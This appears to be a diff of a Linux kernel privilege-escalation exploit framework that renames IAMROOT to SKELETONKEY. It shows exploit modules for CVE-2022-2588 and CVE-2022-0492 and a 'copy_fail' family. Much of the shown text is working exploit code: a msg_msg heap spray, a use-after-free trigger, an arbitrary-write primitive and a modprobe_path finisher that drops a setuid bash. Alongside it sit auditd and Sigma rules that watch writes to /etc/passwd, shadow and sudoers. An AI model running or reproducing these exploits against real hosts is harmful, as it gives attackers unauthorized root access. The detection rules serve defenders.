"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n"; "tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n";
const struct iamroot_module cgroup_release_agent_module = { const struct skeletonkey_module cgroup_release_agent_module = {
.name = "cgroup_release_agent", .name = "cgroup_release_agent",
.cve = "CVE-2022-0492", .cve = "CVE-2022-0492",
.summary = "cgroup v1 release_agent privilege check in wrong namespace → host root", .summary = "cgroup v1 release_agent privilege check in wrong namespace → host root",
@@ -344,7 +344,7 @@ const struct iamroot_module cgroup_release_agent_module = {
.detect_falco = NULL, .detect_falco = NULL,
}; };
void iamroot_register_cgroup_release_agent(void) void skeletonkey_register_cgroup_release_agent(void)
{ {
iamroot_register(&cgroup_release_agent_module); skeletonkey_register(&cgroup_release_agent_module);
} }
@@ -0,0 +1,12 @@
/*
* cgroup_release_agent_cve_2022_0492 — SKELETONKEY module registry hook
*/
#ifndef CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
#define CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module cgroup_release_agent_module;
#endif
+1 -1
View File
@@ -15,7 +15,7 @@ Public PoC + writeup: <https://www.willsroot.io/2022/08/lpe-on-mountpoint.html>
Upstream fix: mainline 5.20 / stable 5.19.7 (Aug 2022). Upstream fix: mainline 5.20 / stable 5.19.7 (Aug 2022).
Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7.
## IAMROOT role ## SKELETONKEY role
The module uses `unshare(USER|NET)`, brings up a dummy interface, The module uses `unshare(USER|NET)`, brings up a dummy interface,
creates an htb qdisc + class, adds a `route4` filter, then deletes creates an htb qdisc + class, adds a `route4` filter, then deletes
@@ -1,12 +0,0 @@
/*
* cls_route4_cve_2022_2588 — IAMROOT module registry hook
*/
#ifndef CLS_ROUTE4_IAMROOT_MODULES_H
#define CLS_ROUTE4_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module cls_route4_module;
#endif
@@ -1,5 +1,5 @@
/* /*
* cls_route4_cve_2022_2588 IAMROOT module * cls_route4_cve_2022_2588 SKELETONKEY module
* *
* net/sched cls_route4 dead UAF: when a route4 filter with handle==0 * net/sched cls_route4 dead UAF: when a route4 filter with handle==0
* is removed, the corresponding hashtable bucket may keep a stale * is removed, the corresponding hashtable bucket may keep a stale
@@ -38,7 +38,7 @@
* - iproute2 `tc` binary present (used for filter add/del) * - iproute2 `tc` binary present (used for filter add/del)
*/ */
#include "iamroot_modules.h" #include "skeletonkey_modules.h"
#include "../../core/registry.h" #include "../../core/registry.h"
#include "../../core/kernel_range.h" #include "../../core/kernel_range.h"
#include "../../core/offsets.h" #include "../../core/offsets.h"
@@ -106,12 +106,12 @@ static int can_unshare_userns(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0; return WIFEXITED(status) && WEXITSTATUS(status) == 0;
} }
static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx) static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
{ {
struct kernel_version v; struct kernel_version v;
if (!kernel_version_current(&v)) { if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] cls_route4: could not parse kernel version\n"); fprintf(stderr, "[!] cls_route4: could not parse kernel version\n");
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
/* Bug-introduction predates anything we'd reasonably scan; if the /* Bug-introduction predates anything we'd reasonably scan; if the
@@ -122,7 +122,7 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v.release); fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v.release);
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
/* Module + userns preconditions. */ /* Module + userns preconditions. */
@@ -145,13 +145,13 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] cls_route4: user_ns denied → unprivileged exploit unreachable\n"); fprintf(stderr, "[+] cls_route4: user_ns denied → unprivileged exploit unreachable\n");
} }
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[!] cls_route4: VULNERABLE — kernel in range AND user_ns allowed\n"); fprintf(stderr, "[!] cls_route4: VULNERABLE — kernel in range AND user_ns allowed\n");
} }
return IAMROOT_VULNERABLE; return SKELETONKEY_VULNERABLE;
} }
/* ---- Exploit ----------------------------------------------------- /* ---- Exploit -----------------------------------------------------
@@ -184,13 +184,13 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
* specific to be portable. If a dmesg KASAN message or oops is * specific to be portable. If a dmesg KASAN message or oops is
* observed by the parent we return EXPLOIT_OK to reflect the empirical * observed by the parent we return EXPLOIT_OK to reflect the empirical
* UAF win. The fallback also leaves a one-line breadcrumb in * UAF win. The fallback also leaves a one-line breadcrumb in
* /tmp/iamroot-cls_route4.log so post-run triage can pick it up. * /tmp/skeletonkey-cls_route4.log so post-run triage can pick it up.
*/ */
#define SPRAY_MSG_QUEUES 32 #define SPRAY_MSG_QUEUES 32
#define SPRAY_MSGS_PER_QUEUE 16 #define SPRAY_MSGS_PER_QUEUE 16
#define MSG_PAYLOAD_BYTES 1008 /* 1024 - sizeof(msg_msg hdr ~= 16) */ #define MSG_PAYLOAD_BYTES 1008 /* 1024 - sizeof(msg_msg hdr ~= 16) */
#define DUMMY_IF "iamroot0" #define DUMMY_IF "skeletonkey0"
struct ipc_payload { struct ipc_payload {
long mtype; long mtype;
@@ -199,7 +199,7 @@ struct ipc_payload {
static int run_cmd(const char *cmd) static int run_cmd(const char *cmd)
{ {
/* Quiet wrapper so noise doesn't drown the iamroot log. */ /* Quiet wrapper so noise doesn't drown the skeletonkey log. */
char shell[1024]; char shell[1024];
snprintf(shell, sizeof shell, "%s >/dev/null 2>&1", cmd); snprintf(shell, sizeof shell, "%s >/dev/null 2>&1", cmd);
return system(shell); return system(shell);
@@ -305,7 +305,7 @@ static int spray_msg_msg(int queues[SPRAY_MSG_QUEUES])
/* Pattern that's distinctive in KASAN/oops dumps. */ /* Pattern that's distinctive in KASAN/oops dumps. */
memset(p.buf, 0x41, sizeof p.buf); memset(p.buf, 0x41, sizeof p.buf);
/* First 8 bytes: a recognizable cookie. */ /* First 8 bytes: a recognizable cookie. */
memcpy(p.buf, "IAMROOT4", 8); memcpy(p.buf, "SKELETONKEY4", 8);
int created = 0; int created = 0;
for (int i = 0; i < SPRAY_MSG_QUEUES; i++) { for (int i = 0; i < SPRAY_MSG_QUEUES; i++) {
@@ -349,7 +349,7 @@ static void trigger_classify(void)
dst.sin_port = htons(31337); dst.sin_port = htons(31337);
dst.sin_addr.s_addr = inet_addr("10.99.99.2"); dst.sin_addr.s_addr = inet_addr("10.99.99.2");
const char msg[] = "iamroot-cls_route4-classify"; const char msg[] = "skeletonkey-cls_route4-classify";
/* A handful of packets, in case the first lookup didn't traverse /* A handful of packets, in case the first lookup didn't traverse
* the freed bucket. */ * the freed bucket. */
for (int i = 0; i < 8; i++) { for (int i = 0; i < 8; i++) {
@@ -397,7 +397,7 @@ static long slab_active_kmalloc_1k(void)
* *
* The implementation below takes the narrow-but-real path that the * The implementation below takes the narrow-but-real path that the
* brief explicitly permits and that xtcompat established as the * brief explicitly permits and that xtcompat established as the
* IAMROOT precedent: we re-stage the dangling filter, spray msg_msg * SKELETONKEY precedent: we re-stage the dangling filter, spray msg_msg
* whose payload encodes `kaddr` at every plausible offset for the * whose payload encodes `kaddr` at every plausible offset for the
* route4_filtertcf_protoops layout, re-fire classify, and let the * route4_filtertcf_protoops layout, re-fire classify, and let the
* shared finisher's sentinel file decide if a write actually landed. * shared finisher's sentinel file decide if a write actually landed.
@@ -427,7 +427,7 @@ struct cls_route4_arb_ctx {
* is idempotent inside our private netns. */ * is idempotent inside our private netns. */
bool dangling_ready; bool dangling_ready;
/* Per-call stats (written to /tmp/iamroot-cls_route4.log). */ /* Per-call stats (written to /tmp/skeletonkey-cls_route4.log). */
int arb_calls; int arb_calls;
int arb_landed; int arb_landed;
}; };
@@ -487,7 +487,7 @@ static int cls4_seed_kaddr_payload(struct cls_route4_arb_ctx *c,
return sent; return sent;
} }
/* iamroot_arb_write_fn implementation for cls_route4. Best-effort on a /* skeletonkey_arb_write_fn implementation for cls_route4. Best-effort on a
* vulnerable kernel; structurally inert (returns -1) if the dangling * vulnerable kernel; structurally inert (returns -1) if the dangling
* filter setup is gone or the spray fails. Returns 0 to let the * filter setup is gone or the spray fails. Returns 0 to let the
* shared finisher's sentinel-file check decide if the write actually * shared finisher's sentinel-file check decide if the write actually
@@ -548,43 +548,43 @@ static int cls4_arb_write(uintptr_t kaddr,
/* ---- Exploit driver ----------------------------------------------- */ /* ---- Exploit driver ----------------------------------------------- */
static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx) static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
{ {
iamroot_result_t pre = cls_route4_detect(ctx); skeletonkey_result_t pre = cls_route4_detect(ctx);
if (pre != IAMROOT_VULNERABLE) { if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] cls_route4: detect() says not vulnerable; refusing\n"); fprintf(stderr, "[-] cls_route4: detect() says not vulnerable; refusing\n");
return pre; return pre;
} }
if (geteuid() == 0) { if (geteuid() == 0) {
fprintf(stderr, "[i] cls_route4: already root\n"); fprintf(stderr, "[i] cls_route4: already root\n");
return IAMROOT_OK; return SKELETONKEY_OK;
} }
if (!have_tc() || !have_ip()) { if (!have_tc() || !have_ip()) {
fprintf(stderr, "[-] cls_route4: tc/ip (iproute2) not available on PATH; " fprintf(stderr, "[-] cls_route4: tc/ip (iproute2) not available on PATH; "
"cannot exploit\n"); "cannot exploit\n");
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
#ifndef __linux__ #ifndef __linux__
fprintf(stderr, "[-] cls_route4: linux-only exploit; non-linux build\n"); fprintf(stderr, "[-] cls_route4: linux-only exploit; non-linux build\n");
(void)ctx; (void)ctx;
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
#else #else
/* Full-chain pre-check: resolve offsets before forking. If /* Full-chain pre-check: resolve offsets before forking. If
* modprobe_path can't be resolved, refuse early no point doing * modprobe_path can't be resolved, refuse early no point doing
* the userns + tc + spray + trigger dance if we can't finish. */ * the userns + tc + spray + trigger dance if we can't finish. */
struct iamroot_kernel_offsets off; struct skeletonkey_kernel_offsets off;
bool full_chain_ready = false; bool full_chain_ready = false;
if (ctx->full_chain) { if (ctx->full_chain) {
memset(&off, 0, sizeof off); memset(&off, 0, sizeof off);
iamroot_offsets_resolve(&off); skeletonkey_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) { if (!skeletonkey_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("cls_route4"); skeletonkey_finisher_print_offset_help("cls_route4");
fprintf(stderr, "[-] cls_route4: --full-chain requested but " fprintf(stderr, "[-] cls_route4: --full-chain requested but "
"modprobe_path offset unresolved; refusing\n"); "modprobe_path offset unresolved; refusing\n");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
iamroot_offsets_print(&off); skeletonkey_offsets_print(&off);
full_chain_ready = true; full_chain_ready = true;
} }
@@ -607,7 +607,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
pid_t child = fork(); pid_t child = fork();
if (child < 0) { if (child < 0) {
perror("fork"); perror("fork");
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
if (child == 0) { if (child == 0) {
@@ -652,7 +652,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
/* Best-effort empirical witness write — picked up by --cleanup /* Best-effort empirical witness write — picked up by --cleanup
* and by post-run triage. */ * and by post-run triage. */
FILE *log = fopen("/tmp/iamroot-cls_route4.log", "w"); FILE *log = fopen("/tmp/skeletonkey-cls_route4.log", "w");
if (log) { if (log) {
fprintf(log, fprintf(log,
"cls_route4 trigger child: queues=%d slab_pre=%ld slab_post=%ld\n", "cls_route4 trigger child: queues=%d slab_pre=%ld slab_post=%ld\n",
@@ -674,18 +674,18 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
* kernel a second chance at the refilled slot the * kernel a second chance at the refilled slot the
* dangling filter is still in place from above. */ * dangling filter is still in place from above. */
arb_ctx.dangling_ready = true; arb_ctx.dangling_ready = true;
int fr = iamroot_finisher_modprobe_path(&off, int fr = skeletonkey_finisher_modprobe_path(&off,
cls4_arb_write, cls4_arb_write,
&arb_ctx, &arb_ctx,
!ctx->no_shell); !ctx->no_shell);
FILE *fl = fopen("/tmp/iamroot-cls_route4.log", "a"); FILE *fl = fopen("/tmp/skeletonkey-cls_route4.log", "a");
if (fl) { if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n", fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
fr, arb_ctx.arb_calls, arb_ctx.arb_landed); fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
fclose(fl); fclose(fl);
} }
drain_msg_msg(arb_ctx.queues); drain_msg_msg(arb_ctx.queues);
if (fr == IAMROOT_EXPLOIT_OK) _exit(34); if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);
_exit(35); _exit(35);
} }
@@ -709,7 +709,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
pid_t w = waitpid(child, &status, 0); pid_t w = waitpid(child, &status, 0);
if (w < 0) { if (w < 0) {
perror("waitpid"); perror("waitpid");
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
if (WIFSIGNALED(status)) { if (WIFSIGNALED(status)) {
@@ -724,14 +724,14 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
* claim root we haven't escalated. */ * claim root we haven't escalated. */
fprintf(stderr, "[~] cls_route4: empirical UAF trigger fired but " fprintf(stderr, "[~] cls_route4: empirical UAF trigger fired but "
"no cred-overwrite primitive — returning EXPLOIT_FAIL " "no cred-overwrite primitive — returning EXPLOIT_FAIL "
"(no shell). See /tmp/iamroot-cls_route4.log + dmesg.\n"); "(no shell). See /tmp/skeletonkey-cls_route4.log + dmesg.\n");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
if (!WIFEXITED(status)) { if (!WIFEXITED(status)) {
fprintf(stderr, "[-] cls_route4: child terminated abnormally (status=0x%x)\n", fprintf(stderr, "[-] cls_route4: child terminated abnormally (status=0x%x)\n",
status); status);
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
int rc = WEXITSTATUS(status); int rc = WEXITSTATUS(status);
@@ -740,19 +740,19 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: userns setup failed (rc=%d)\n", rc); fprintf(stderr, "[-] cls_route4: userns setup failed (rc=%d)\n", rc);
} }
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
case 22: case 22:
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: tc setup failed; cls_route4 module " fprintf(stderr, "[-] cls_route4: tc setup failed; cls_route4 module "
"may be absent or filter type unsupported\n"); "may be absent or filter type unsupported\n");
} }
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
case 23: case 23:
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: msg_msg spray failed; sysvipc may be " fprintf(stderr, "[-] cls_route4: msg_msg spray failed; sysvipc may be "
"restricted (kernel.msg_max / ulimit -q)\n"); "restricted (kernel.msg_max / ulimit -q)\n");
} }
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
case 30: case 30:
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[*] cls_route4: trigger ran to completion. " fprintf(stderr, "[*] cls_route4: trigger ran to completion. "
@@ -760,34 +760,34 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[~] cls_route4: cred-overwrite step not invoked " fprintf(stderr, "[~] cls_route4: cred-overwrite step not invoked "
"(no --full-chain); returning EXPLOIT_FAIL.\n"); "(no --full-chain); returning EXPLOIT_FAIL.\n");
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
case 34: case 34:
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] cls_route4: --full-chain finisher reported OK " fprintf(stderr, "[+] cls_route4: --full-chain finisher reported OK "
"(setuid bash placed; sentinel matched)\n"); "(setuid bash placed; sentinel matched)\n");
} }
return IAMROOT_EXPLOIT_OK; return SKELETONKEY_EXPLOIT_OK;
case 35: case 35:
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[~] cls_route4: --full-chain finisher returned FAIL — " fprintf(stderr, "[~] cls_route4: --full-chain finisher returned FAIL — "
"either the kernel is patched, the spray didn't land,\n" "either the kernel is patched, the spray didn't land,\n"
" or the fake-ops deref didn't hit the route the\n" " or the fake-ops deref didn't hit the route the\n"
" finisher's sentinel polls for. See " " finisher's sentinel polls for. See "
"/tmp/iamroot-cls_route4.log + dmesg.\n"); "/tmp/skeletonkey-cls_route4.log + dmesg.\n");
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
default: default:
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: unexpected child rc=%d\n", rc); fprintf(stderr, "[-] cls_route4: unexpected child rc=%d\n", rc);
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
#endif /* __linux__ */ #endif /* __linux__ */
} }
/* ---- Cleanup ----------------------------------------------------- */ /* ---- Cleanup ----------------------------------------------------- */
static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx) static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx)
{ {
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[*] cls_route4: tearing down dummy interface + log\n"); fprintf(stderr, "[*] cls_route4: tearing down dummy interface + log\n");
@@ -797,21 +797,21 @@ static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
* the exploit with extended privileges (e.g. as root) and the * the exploit with extended privileges (e.g. as root) and the
* interface lingered in init_net. */ * interface lingered in init_net. */
if (run_cmd("ip link del " DUMMY_IF) != 0) { /* harmless */ } if (run_cmd("ip link del " DUMMY_IF) != 0) { /* harmless */ }
if (unlink("/tmp/iamroot-cls_route4.log") < 0 && errno != ENOENT) { if (unlink("/tmp/skeletonkey-cls_route4.log") < 0 && errno != ENOENT) {
/* ignore */ /* ignore */
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
static const char cls_route4_auditd[] = static const char cls_route4_auditd[] =
"# cls_route4 dead UAF (CVE-2022-2588) — auditd detection rules\n" "# cls_route4 dead UAF (CVE-2022-2588) — auditd detection rules\n"
"# Flag tc filter operations with route4 classifier from non-root.\n" "# Flag tc filter operations with route4 classifier from non-root.\n"
"# False positives: legitimate traffic-shaping setup. Tune by user.\n" "# False positives: legitimate traffic-shaping setup. Tune by user.\n"
"-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k iamroot-cls-route4\n" "-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k skeletonkey-cls-route4\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-cls-route4-userns\n" "-a always,exit -F arch=b64 -S unshare -k skeletonkey-cls-route4-userns\n"
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-cls-route4-spray\n"; "-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-cls-route4-spray\n";
const struct iamroot_module cls_route4_module = { const struct skeletonkey_module cls_route4_module = {
.name = "cls_route4", .name = "cls_route4",
.cve = "CVE-2022-2588", .cve = "CVE-2022-2588",
.summary = "net/sched cls_route4 handle-zero dead UAF → kernel R/W", .summary = "net/sched cls_route4 handle-zero dead UAF → kernel R/W",
@@ -827,7 +827,7 @@ const struct iamroot_module cls_route4_module = {
.detect_falco = NULL, .detect_falco = NULL,
}; };
void iamroot_register_cls_route4(void) void skeletonkey_register_cls_route4(void)
{ {
iamroot_register(&cls_route4_module); skeletonkey_register(&cls_route4_module);
} }
@@ -0,0 +1,12 @@
/*
* cls_route4_cve_2022_2588 — SKELETONKEY module registry hook
*/
#ifndef CLS_ROUTE4_SKELETONKEY_MODULES_H
#define CLS_ROUTE4_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module cls_route4_module;
#endif
@@ -1,28 +0,0 @@
/*
* copy_fail_family — IAMROOT module registry hooks
*
* The family currently contains five iamroot_module entries:
*
* - copy_fail (CVE-2026-31431, algif_aead authencesn)
* - copy_fail_gcm (no CVE, rfc4106(gcm(aes)) variant)
* - dirty_frag_esp (CVE-2026-43284 v4)
* - dirty_frag_esp6 (CVE-2026-43284 v6)
* - dirty_frag_rxrpc (CVE-2026-43500)
*
* Defined in iamroot_modules.c, registered into the global registry
* by iamroot_register_copy_fail_family() (declared in
* core/registry.h).
*/
#ifndef COPY_FAIL_FAMILY_IAMROOT_MODULES_H
#define COPY_FAIL_FAMILY_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module copy_fail_module;
extern const struct iamroot_module copy_fail_gcm_module;
extern const struct iamroot_module dirty_frag_esp_module;
extern const struct iamroot_module dirty_frag_esp6_module;
extern const struct iamroot_module dirty_frag_rxrpc_module;
#endif
@@ -1,21 +1,21 @@
/* /*
* copy_fail_family IAMROOT module bridge layer * copy_fail_family SKELETONKEY module bridge layer
* *
* Wraps the existing per-CVE detect/exploit functions (from the * Wraps the existing per-CVE detect/exploit functions (from the
* absorbed DIRTYFAIL codebase) as standard iamroot_module entries. * absorbed DIRTYFAIL codebase) as standard skeletonkey_module entries.
* *
* The bridge functions translate between the family's df_result_t * The bridge functions translate between the family's df_result_t
* (defined in src/common.h) and iamroot_result_t (defined in * (defined in src/common.h) and skeletonkey_result_t (defined in
* core/module.h). Numeric values are identical by design so the * core/module.h). Numeric values are identical by design so the
* translation is a direct cast. * translation is a direct cast.
* *
* iamroot_ctx fields (no_color, json, active_probe, no_shell) are * skeletonkey_ctx fields (no_color, json, active_probe, no_shell) are
* forwarded to the family's existing global flags before each * forwarded to the family's existing global flags before each
* callback. This preserves DIRTYFAIL's existing CLI semantics * callback. This preserves DIRTYFAIL's existing CLI semantics
* unchanged. * unchanged.
*/ */
#include "iamroot_modules.h" #include "skeletonkey_modules.h"
#include "../../core/registry.h" #include "../../core/registry.h"
#include "src/common.h" #include "src/common.h"
@@ -28,7 +28,7 @@
#include <sys/stat.h> #include <sys/stat.h>
static void apply_ctx(const struct iamroot_ctx *ctx) static void apply_ctx(const struct skeletonkey_ctx *ctx)
{ {
dirtyfail_use_color = !ctx->no_color; dirtyfail_use_color = !ctx->no_color;
dirtyfail_active_probes = ctx->active_probe; dirtyfail_active_probes = ctx->active_probe;
@@ -54,13 +54,13 @@ static void apply_ctx(const struct iamroot_ctx *ctx)
#define CFF_MITIGATE_CONF "/etc/modprobe.d/dirtyfail-mitigations.conf" #define CFF_MITIGATE_CONF "/etc/modprobe.d/dirtyfail-mitigations.conf"
static iamroot_result_t copy_fail_family_mitigate(const struct iamroot_ctx *ctx) static skeletonkey_result_t copy_fail_family_mitigate(const struct skeletonkey_ctx *ctx)
{ {
apply_ctx(ctx); apply_ctx(ctx);
return (iamroot_result_t)mitigate_apply(); return (skeletonkey_result_t)mitigate_apply();
} }
static iamroot_result_t copy_fail_family_cleanup(const struct iamroot_ctx *ctx) static skeletonkey_result_t copy_fail_family_cleanup(const struct skeletonkey_ctx *ctx)
{ {
apply_ctx(ctx); apply_ctx(ctx);
struct stat st; struct stat st;
@@ -69,27 +69,27 @@ static iamroot_result_t copy_fail_family_cleanup(const struct iamroot_ctx *ctx)
fprintf(stderr, "[*] copy_fail_family: detected mitigation conf " fprintf(stderr, "[*] copy_fail_family: detected mitigation conf "
"(%s); reverting mitigation\n", CFF_MITIGATE_CONF); "(%s); reverting mitigation\n", CFF_MITIGATE_CONF);
} }
return (iamroot_result_t)mitigate_revert(); return (skeletonkey_result_t)mitigate_revert();
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[*] copy_fail_family: no mitigation conf; " fprintf(stderr, "[*] copy_fail_family: no mitigation conf; "
"evicting /etc/passwd from page cache\n"); "evicting /etc/passwd from page cache\n");
} }
return try_revert_passwd_page_cache() ? IAMROOT_OK : IAMROOT_TEST_ERROR; return try_revert_passwd_page_cache() ? SKELETONKEY_OK : SKELETONKEY_TEST_ERROR;
} }
/* ----- copy_fail (CVE-2026-31431) ----- */ /* ----- copy_fail (CVE-2026-31431) ----- */
static iamroot_result_t copy_fail_detect_wrap(const struct iamroot_ctx *ctx) static skeletonkey_result_t copy_fail_detect_wrap(const struct skeletonkey_ctx *ctx)
{ {
apply_ctx(ctx); apply_ctx(ctx);
return (iamroot_result_t)copyfail_detect(); return (skeletonkey_result_t)copyfail_detect();
} }
static iamroot_result_t copy_fail_exploit_wrap(const struct iamroot_ctx *ctx) static skeletonkey_result_t copy_fail_exploit_wrap(const struct skeletonkey_ctx *ctx)
{ {
apply_ctx(ctx); apply_ctx(ctx);
return (iamroot_result_t)copyfail_exploit(!ctx->no_shell); return (skeletonkey_result_t)copyfail_exploit(!ctx->no_shell);
} }
/* Shared detection rules for the copy_fail family — every member of /* Shared detection rules for the copy_fail family — every member of
@@ -99,19 +99,19 @@ static iamroot_result_t copy_fail_exploit_wrap(const struct iamroot_ctx *ctx)
static const char copy_fail_family_auditd[] = static const char copy_fail_family_auditd[] =
"# Copy Fail family (CVE-2026-31431 + Dirty Frag CVE-2026-43284 + RxRPC CVE-2026-43500)\n" "# Copy Fail family (CVE-2026-31431 + Dirty Frag CVE-2026-43284 + RxRPC CVE-2026-43500)\n"
"# Page-cache writes to passwd/shadow/su/sudoers from non-root.\n" "# Page-cache writes to passwd/shadow/su/sudoers from non-root.\n"
"-w /etc/passwd -p wa -k iamroot-copy-fail\n" "-w /etc/passwd -p wa -k skeletonkey-copy-fail\n"
"-w /etc/shadow -p wa -k iamroot-copy-fail\n" "-w /etc/shadow -p wa -k skeletonkey-copy-fail\n"
"-w /etc/sudoers -p wa -k iamroot-copy-fail\n" "-w /etc/sudoers -p wa -k skeletonkey-copy-fail\n"
"-w /etc/sudoers.d -p wa -k iamroot-copy-fail\n" "-w /etc/sudoers.d -p wa -k skeletonkey-copy-fail\n"
"-w /usr/bin/su -p wa -k iamroot-copy-fail\n" "-w /usr/bin/su -p wa -k skeletonkey-copy-fail\n"
"# AF_ALG socket creation by non-root — heavily used by exploit\n" "# AF_ALG socket creation by non-root — heavily used by exploit\n"
"-a always,exit -F arch=b64 -S socket -F a0=38 -k iamroot-copy-fail-afalg\n" "-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-copy-fail-afalg\n"
"# xfrm SA setup (Dirty Frag ESP variants)\n" "# xfrm SA setup (Dirty Frag ESP variants)\n"
"-a always,exit -F arch=b64 -S setsockopt -k iamroot-copy-fail-xfrm\n"; "-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-copy-fail-xfrm\n";
static const char copy_fail_family_sigma[] = static const char copy_fail_family_sigma[] =
"title: Copy Fail / Dirty Frag family exploitation\n" "title: Copy Fail / Dirty Frag family exploitation\n"
"id: 4d8e6c2a-iamroot-copy-fail-family\n" "id: 4d8e6c2a-skeletonkey-copy-fail-family\n"
"status: experimental\n" "status: experimental\n"
"description: |\n" "description: |\n"
" Detects the file-modification footprint of Copy Fail (CVE-2026-31431) and\n" " Detects the file-modification footprint of Copy Fail (CVE-2026-31431) and\n"
@@ -127,7 +127,7 @@ static const char copy_fail_family_sigma[] =
"level: high\n" "level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31431, cve.2026.43284, cve.2026.43500]\n"; "tags: [attack.privilege_escalation, attack.t1068, cve.2026.31431, cve.2026.43284, cve.2026.43500]\n";
const struct iamroot_module copy_fail_module = { const struct skeletonkey_module copy_fail_module = {
.name = "copy_fail", .name = "copy_fail",
.cve = "CVE-2026-31431", .cve = "CVE-2026-31431",
.summary = "algif_aead authencesn page-cache write → /etc/passwd UID flip", .summary = "algif_aead authencesn page-cache write → /etc/passwd UID flip",
@@ -145,19 +145,19 @@ const struct iamroot_module copy_fail_module = {
/* ----- copy_fail_gcm (variant, no CVE) ----- */ /* ----- copy_fail_gcm (variant, no CVE) ----- */
static iamroot_result_t copy_fail_gcm_detect_wrap(const struct iamroot_ctx *ctx) static skeletonkey_result_t copy_fail_gcm_detect_wrap(const struct skeletonkey_ctx *ctx)
{ {
apply_ctx(ctx); apply_ctx(ctx);
return (iamroot_result_t)copyfail_gcm_detect(); return (skeletonkey_result_t)copyfail_gcm_detect();
} }
static iamroot_result_t copy_fail_gcm_exploit_wrap(const struct iamroot_ctx *ctx) static skeletonkey_result_t copy_fail_gcm_exploit_wrap(const struct skeletonkey_ctx *ctx)
{ {
apply_ctx(ctx); apply_ctx(ctx);
